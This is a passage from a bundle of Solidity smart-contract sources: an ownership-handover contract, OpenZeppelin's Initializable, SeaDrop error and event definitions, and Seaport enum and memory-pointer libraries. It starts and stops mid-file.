/*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Initializes the owner directly without authorization guard.\n /// This function must be called upon initialization,\n /// regardless of whether the contract is upgradeable or not.\n /// This is to enable generalization to both regular and upgradeable contracts,\n /// and to save gas in case the initial owner is not the caller.\n /// For performance reasons, this function will not check if there\n /// is an existing owner.\n function _initializeOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Store the new value.\n sstore(not(_OWNER_SLOT_NOT), newOwner)\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, 0, newOwner)\n }\n }\n\n /// @dev Sets the owner directly without authorization guard.\n function _setOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n let ownerSlot := not(_OWNER_SLOT_NOT)\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, sload(ownerSlot), newOwner)\n // Store the new value.\n sstore(ownerSlot, newOwner)\n }\n }\n\n /// @dev Throws if the sender is not the owner.\n function _checkOwner() internal view virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // If the caller is not the stored owner, revert.\n if iszero(eq(caller(), sload(not(_OWNER_SLOT_NOT)))) {\n mstore(0x00, 0x82b42900) // `Unauthorized()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC UPDATE FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Allows the owner to transfer the ownership to `newOwner`.\n function transferOwnership(address newOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(shl(96, newOwner)) {\n mstore(0x00, 0x7448fbae) // `NewOwnerIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n }\n _setOwner(newOwner);\n }\n\n /// @dev Allows the owner to renounce their ownership.\n function renounceOwnership() public payable virtual onlyOwner {\n _setOwner(address(0));\n }\n\n /// @dev Request a two-step ownership handover to the caller.\n /// The request will automatically expire in 48 hours (172800 seconds) by default.\n function requestOwnershipHandover() public payable virtual {\n unchecked {\n uint256 expires = block.timestamp + ownershipHandoverValidFor();\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to `expires`.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), expires)\n // Emit the {OwnershipHandoverRequested} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE, caller())\n }\n }\n }\n\n /// @dev Cancels the two-step ownership handover to the caller, if any.\n function cancelOwnershipHandover() public payable virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), 0)\n // Emit the {OwnershipHandoverCanceled} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE, caller())\n }\n }\n\n /// @dev Allows the owner to complete the two-step ownership handover to `pendingOwner`.\n /// Reverts if there is no existing ownership handover requested by `pendingOwner`.\n function completeOwnershipHandover(address pendingOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n let handoverSlot := keccak256(0x0c, 0x20)\n // If the handover does not exist, or has expired.\n if gt(timestamp(), sload(handoverSlot)) {\n mstore(0x00, 0x6f5e8818) // `NoHandoverRequest()`.\n revert(0x1c, 0x04)\n }\n // Set the handover slot to 0.\n sstore(handoverSlot, 0)\n }\n _setOwner(pendingOwner);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC READ FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the owner of the contract.\n function owner() public view virtual returns (address result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := sload(not(_OWNER_SLOT_NOT))\n }\n }\n\n /// @dev Returns the expiry timestamp for the two-step ownership handover to `pendingOwner`.\n function ownershipHandoverExpiresAt(address pendingOwner)\n public\n view\n virtual\n returns (uint256 result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute the handover slot.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n // Load the handover slot.\n result := sload(keccak256(0x0c, 0x20))\n }\n }\n\n /// @dev Returns how long a two-step ownership handover is valid for in seconds.\n function ownershipHandoverValidFor() public view virtual returns (uint64) {\n return 48 * 3600;\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* MODIFIERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Marks a function as only callable by the owner.\n modifier onlyOwner() virtual {\n _checkOwner();\n _;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.19;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n *\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (address(this).code.length == 0 && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Returns the highest version that has been initialized. See {reinitializer}.\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"src/lib/SeaDropErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { CreatorPayout, PublicDrop } from \"./ERC721SeaDropStructs.sol\";\n\ninterface SeaDropErrorsAndEvents {\n /**\n * @notice The SeaDrop token types, emitted as part of\n * `event SeaDropTokenDeployed`.\n */\n enum SEADROP_TOKEN_TYPE {\n ERC721_STANDARD,\n ERC721_CLONE,\n ERC721_UPGRADEABLE,\n ERC1155_STANDARD,\n ERC1155_CLONE,\n ERC1155_UPGRADEABLE\n }\n\n /**\n * @notice An event to signify that a SeaDrop token contract was deployed.\n */\n event SeaDropTokenDeployed(SEADROP_TOKEN_TYPE tokenType);\n\n /**\n * @notice Revert with an error if the function selector is not supported.\n */\n error UnsupportedFunctionSelector(bytes4 selector);\n\n /**\n * @dev Revert with an error if the drop stage is not active.\n */\n error NotActive(\n uint256 currentTimestamp,\n uint256 startTimestamp,\n uint256 endTimestamp\n );\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max allowed\n * to be minted per wallet.\n */\n error MintQuantityExceedsMaxMintedPerWallet(uint256 total, uint256 allowed);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply for the stage.\n * Note: The `maxTokenSupplyForStage` for public mint is\n * always `type(uint).max`.\n */\n error MintQuantityExceedsMaxTokenSupplyForStage(\n uint256 total,\n uint256 maxTokenSupplyForStage\n );\n\n /**\n * @dev Revert if the fee recipient is the zero address.\n */\n error FeeRecipientCannotBeZeroAddress();\n\n /**\n * @dev Revert if the fee recipient is not already included.\n */\n error FeeRecipientNotPresent();\n\n /**\n * @dev Revert if the fee basis points is greater than 10_000.\n */\n error InvalidFeeBps(uint256 feeBps);\n\n /**\n * @dev Revert if the fee recipient is already included.\n */\n error DuplicateFeeRecipient();\n\n /**\n * @dev Revert if the fee recipient is restricted and not allowed.\n */\n error FeeRecipientNotAllowed(address got);\n\n /**\n * @dev Revert if the creator payout address is the zero address.\n */\n error CreatorPayoutAddressCannotBeZeroAddress();\n\n /**\n * @dev Revert if the creator payouts are not set.\n */\n error CreatorPayoutsNotSet();\n\n /**\n * @dev Revert if the creator payout basis points are zero.\n */\n error CreatorPayoutBasisPointsCannotBeZero();\n\n /**\n * @dev Revert if the total basis points for the creator payouts\n * don't equal exactly 10_000.\n */\n error InvalidCreatorPayoutTotalBasisPoints(\n uint256 totalReceivedBasisPoints\n );\n\n /**\n * @dev Revert if the creator payout basis points don't add up to 10_000.\n */\n error InvalidCreatorPayoutBasisPoints(uint256 totalReceivedBasisPoints);\n\n /**\n * @dev Revert with an error if the allow list proof is invalid.\n */\n error InvalidProof();\n\n /**\n * @dev Revert if a supplied signer address is the zero address.\n */\n error SignerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if a signer is not included in\n * the enumeration when removing.\n */\n error SignerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is not included in\n * the enumeration when removing.\n */\n error PayerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is already included in mapping\n * when adding.\n */\n error DuplicatePayer();\n\n /**\n * @dev Revert with an error if a signer is already included in mapping\n * when adding.\n */\n error DuplicateSigner();\n\n /**\n * @dev Revert with an error if the payer is not allowed. The minter must\n * pay for their own mint.\n */\n error PayerNotAllowed(address got);\n\n /**\n * @dev Revert if a supplied payer address is the zero address.\n */\n error PayerCannotBeZeroAddress();\n\n /**\n * @dev Revert if the start time is greater than the end time.\n */\n error InvalidStartAndEndTime(uint256 startTime, uint256 endTime);\n\n /**\n * @dev Revert with an error if the signer payment token is not the same.\n */\n error InvalidSignedPaymentToken(address got, address want);\n\n /**\n * @dev Revert with an error if supplied signed mint price is less than\n * the minimum specified.\n */\n error InvalidSignedMintPrice(\n address paymentToken,\n uint256 got,\n uint256 minimum\n );\n\n /**\n * @dev Revert with an error if supplied signed maxTotalMintableByWallet\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTotalMintableByWallet(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed\n * maxTotalMintableByWalletPerToken is greater than the maximum\n * specified.\n */\n error InvalidSignedMaxTotalMintableByWalletPerToken(\n uint256 got,\n uint256 maximum\n );\n\n /**\n * @dev Revert with an error if the fromTokenId is not within range.\n */\n error InvalidSignedFromTokenId(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if the toTokenId is not within range.\n */\n error InvalidSignedToTokenId(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed start time is less than\n * the minimum specified.\n */\n error InvalidSignedStartTime(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if supplied signed end time is greater than\n * the maximum specified.\n */\n error InvalidSignedEndTime(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed maxTokenSupplyForStage\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTokenSupplyForStage(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed feeBps is greater than\n * the maximum specified, or less than the minimum.\n */\n error InvalidSignedFeeBps(uint256 got, uint256 minimumOrMaximum);\n\n /**\n * @dev Revert with an error if signed mint did not specify to restrict\n * fee recipients.\n */\n error SignedMintsMustRestrictFeeRecipients();\n\n /**\n * @dev Revert with an error if a signature for a signed mint has already\n * been used.\n */\n error SignatureAlreadyUsed();\n\n /**\n * @dev Revert with an error if the contract has no balance to withdraw.\n */\n error NoBalanceToWithdraw();\n\n /**\n * @dev Revert with an error if the caller is not an allowed Seaport.\n */\n error InvalidCallerOnlyAllowedSeaport(address caller);\n\n /**\n * @dev Revert with an error if the order does not have the ERC1155 magic\n * consideration item to signify a consecutive mint.\n */\n error MustSpecifyERC1155ConsiderationItemForSeaDropMint();\n\n /**\n * @dev Revert with an error if the extra data version is not supported.\n */\n error UnsupportedExtraDataVersion(uint8 version);\n\n /**\n * @dev Revert with an error if the extra data encoding is not supported.\n */\n error InvalidExtraDataEncoding(uint8 version);\n\n /**\n * @dev Revert with an error if the provided substandard is not supported.\n */\n error InvalidSubstandard(uint8 substandard);\n\n /**\n * @dev Revert with an error if the implementation contract is called without\n * delegatecall.\n */\n error OnlyDelegateCalled();\n\n /**\n * @dev Revert with an error if the provided allowed Seaport is the\n * zero address.\n */\n error AllowedSeaportCannotBeZeroAddress();\n\n /**\n * @dev Emit an event when allowed Seaport contracts are updated.\n */\n event AllowedSeaportUpdated(address[] allowedSeaport);\n\n /**\n * @dev An event with details of a SeaDrop mint, for analytical purposes.\n *\n * @param payer The address who payed for the tx.\n * @param dropStageIndex The drop stage index. Items minted through\n * public mint have dropStageIndex of 0\n */\n event SeaDropMint(address payer, uint256 dropStageIndex);\n\n /**\n * @dev An event with updated allow list data.\n *\n * @param previousMerkleRoot The previous allow list merkle root.\n * @param newMerkleRoot The new allow list merkle root.\n * @param publicKeyURI If the allow list is encrypted, the public key\n * URIs that can decrypt the list.\n * Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\n event AllowListUpdated(\n bytes32 indexed previousMerkleRoot,\n bytes32 indexed newMerkleRoot,\n string[] publicKeyURI,\n string allowListURI\n );\n\n /**\n * @dev An event with updated drop URI.\n */\n event DropURIUpdated(string newDropURI);\n\n /**\n * @dev An event with the updated creator payout address.\n */\n event CreatorPayoutsUpdated(CreatorPayout[] creatorPayouts);\n\n /**\n * @dev An event with the updated allowed fee recipient.\n */\n event AllowedFeeRecipientUpdated(\n address indexed feeRecipient,\n bool indexed allowed\n );\n\n /**\n * @dev An event with the updated signer.\n */\n event SignerUpdated(address indexed signer, bool indexed allowed);\n\n /**\n * @dev An event with the updated payer.\n */\n event PayerUpdated(address indexed payer, bool indexed allowed);\n}\n"
},
"lib/seaport/lib/seaport-types/src/lib/ConsiderationEnums.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nenum OrderType {\n // 0: no partial fills, anyone can execute\n FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n PARTIAL_RESTRICTED,\n\n // 4: contract order type\n CONTRACT\n}\n\nenum BasicOrderType {\n // 0: no partial fills, anyone can execute\n ETH_TO_ERC721_FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n ETH_TO_ERC721_PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n ETH_TO_ERC721_FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 4: no partial fills, anyone can execute\n ETH_TO_ERC1155_FULL_OPEN,\n\n // 5: partial fills supported, anyone can execute\n ETH_TO_ERC1155_PARTIAL_OPEN,\n\n // 6: no partial fills, only offerer or zone can execute\n ETH_TO_ERC1155_FULL_RESTRICTED,\n\n // 7: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 8: no partial fills, anyone can execute\n ERC20_TO_ERC721_FULL_OPEN,\n\n // 9: partial fills supported, anyone can execute\n ERC20_TO_ERC721_PARTIAL_OPEN,\n\n // 10: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC721_FULL_RESTRICTED,\n\n // 11: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 12: no partial fills, anyone can execute\n ERC20_TO_ERC1155_FULL_OPEN,\n\n // 13: partial fills supported, anyone can execute\n ERC20_TO_ERC1155_PARTIAL_OPEN,\n\n // 14: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC1155_FULL_RESTRICTED,\n\n // 15: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 16: no partial fills, anyone can execute\n ERC721_TO_ERC20_FULL_OPEN,\n\n // 17: partial fills supported, anyone can execute\n ERC721_TO_ERC20_PARTIAL_OPEN,\n\n // 18: no partial fills, only offerer or zone can execute\n ERC721_TO_ERC20_FULL_RESTRICTED,\n\n // 19: partial fills supported, only offerer or zone can execute\n ERC721_TO_ERC20_PARTIAL_RESTRICTED,\n\n // 20: no partial fills, anyone can execute\n ERC1155_TO_ERC20_FULL_OPEN,\n\n // 21: partial fills supported, anyone can execute\n ERC1155_TO_ERC20_PARTIAL_OPEN,\n\n // 22: no partial fills, only offerer or zone can execute\n ERC1155_TO_ERC20_FULL_RESTRICTED,\n\n // 23: partial fills supported, only offerer or zone can execute\n ERC1155_TO_ERC20_PARTIAL_RESTRICTED\n}\n\nenum BasicOrderRouteType {\n // 0: provide Ether (or other native token) to receive offered ERC721 item.\n ETH_TO_ERC721,\n\n // 1: provide Ether (or other native token) to receive offered ERC1155 item.\n ETH_TO_ERC1155,\n\n // 2: provide ERC20 item to receive offered ERC721 item.\n ERC20_TO_ERC721,\n\n // 3: provide ERC20 item to receive offered ERC1155 item.\n ERC20_TO_ERC1155,\n\n // 4: provide ERC721 item to receive offered ERC20 item.\n ERC721_TO_ERC20,\n\n // 5: provide ERC1155 item to receive offered ERC20 item.\n ERC1155_TO_ERC20\n}\n\nenum ItemType {\n // 0: ETH on mainnet, MATIC on polygon, etc.\n NATIVE,\n\n // 1: ERC20 items (ERC777 and ERC20 analogues could also technically work)\n ERC20,\n\n // 2: ERC721 items\n ERC721,\n\n // 3: ERC1155 items\n ERC1155,\n\n // 4: ERC721 items where a number of tokenIds are supported\n ERC721_WITH_CRITERIA,\n\n // 5: ERC1155 items where a number of ids are supported\n ERC1155_WITH_CRITERIA\n}\n\nenum Side {\n // 0: Items that can be spent\n OFFER,\n\n // 1: Items that must be received\n CONSIDERATION\n}\n"
},
"lib/seaport/lib/seaport-types/src/helpers/PointerLibraries.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ntype CalldataPointer is uint256;\n\ntype ReturndataPointer is uint256;\n\ntype MemoryPointer is uint256;\n\nusing CalldataPointerLib for CalldataPointer global;\nusing MemoryPointerLib for MemoryPointer global;\nusing ReturndataPointerLib for ReturndataPointer global;\n\nusing CalldataReaders for CalldataPointer global;\nusing ReturndataReaders for ReturndataPointer global;\nusing MemoryReaders for MemoryPointer global;\nusing MemoryWriters for MemoryPointer global;\n\nCalldataPointer constant CalldataStart = CalldataPointer.wrap(0x04);\nMemoryPointer constant FreeMemoryPPtr = MemoryPointer.wrap(0x40);\nuint256 constant IdentityPrecompileAddress = 0x4;\nuint256 constant OffsetOrLengthMask = 0xffffffff;\nuint256 constant _OneWord = 0x20;\nuint256 constant _FreeMemoryPointerSlot = 0x40;\n\n/// @dev Allocates `size` bytes in memory by increasing the free memory pointer\n/// and returns the memory pointer to the first byte of the allocated region.\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction malloc(uint256 size) pure returns (MemoryPointer mPtr) {\n assembly {\n mPtr := mload(_FreeMemoryPointerSlot)\n mstore(_FreeMemoryPointerSlot, add(mPtr, size))\n }\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction getFreeMemoryPointer() pure returns (MemoryPointer mPtr) {\n mPtr = FreeMemoryPPtr.readMemoryPointer();\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction setFreeMemoryPointer(MemoryPointer mPtr) pure {\n FreeMemoryPPtr.write(mPtr);\n}\n\nlibrary CalldataPointerLib {\n function lt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(CalldataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `cdPtr + headOffset` to a calldata.\n /// pointer `cdPtr` must point to some parent object with a dynamic\n /// type's head stored at `cdPtr + headOffset`.\n function pptr(\n CalldataPointer cdPtr,\n uint256 headOffset\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(\n cdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `cdPtr` to a calldata pointer.\n /// `cdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(cdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the calldata pointer one word after `cdPtr`.\n function next(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the calldata pointer `_offset` bytes after `cdPtr`.\n function offset(\n CalldataPointer cdPtr,\n uint256 _offset\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from calldata starting at `src` to memory at\n /// `dst`.\n function copy(\n CalldataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n calldatacopy(dst, src, size)\n }\n }\n}\n\nlibrary ReturndataPointerLib {\n function lt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(ReturndataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `rdPtr + headOffset` to a returndata\n /// pointer. `rdPtr` must point to some parent object with a dynamic\n /// type's head stored at `rdPtr + headOffset`.\n function pptr(\n ReturndataPointer rdPtr,\n uint256 headOffset\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(\n rdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `rdPtr` to a returndata pointer.\n /// `rdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(rdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the returndata pointer one word after `cdPtr`.\n function next(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the returndata pointer `_offset` bytes after `cdPtr`.\n function offset(\n ReturndataPointer rdPtr,\n uint256 _offset\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from returndata starting at `src` to memory at\n /// `dst`.\n function copy(\n ReturndataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n returndatacopy(dst, src, size)\n }\n }\n}\n\nlibrary MemoryPointerLib {\n function copy(\n MemoryPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal view {\n assembly {\n let success := staticcall(\n gas(),\n IdentityPrecompileAddress,\n src,\n size,\n dst,\n size\n )\n if or(iszero(returndatasize()), iszero(success)) {\n revert(0, 0)\n }\n }\n }\n\n function lt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(MemoryPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n function hash(\n MemoryPointer ptr,\n uint256 length\n ) internal pure returns (bytes32 _hash) {\n assembly {\n _hash := keccak256(ptr, length)\n }\n }\n\n /// @dev Returns the memory pointer one word after `mPtr`.\n function next(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _OneWord)\n }\n }\n\n /// @dev Returns the memory pointer `_offset` bytes after `mPtr`.\n function offset(\n MemoryPointer mPtr,\n uint256 _offset\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _offset)\n }\n }\n\n /// @dev Resolves a pointer at `mPtr + headOffset` to a memory\n /// pointer. 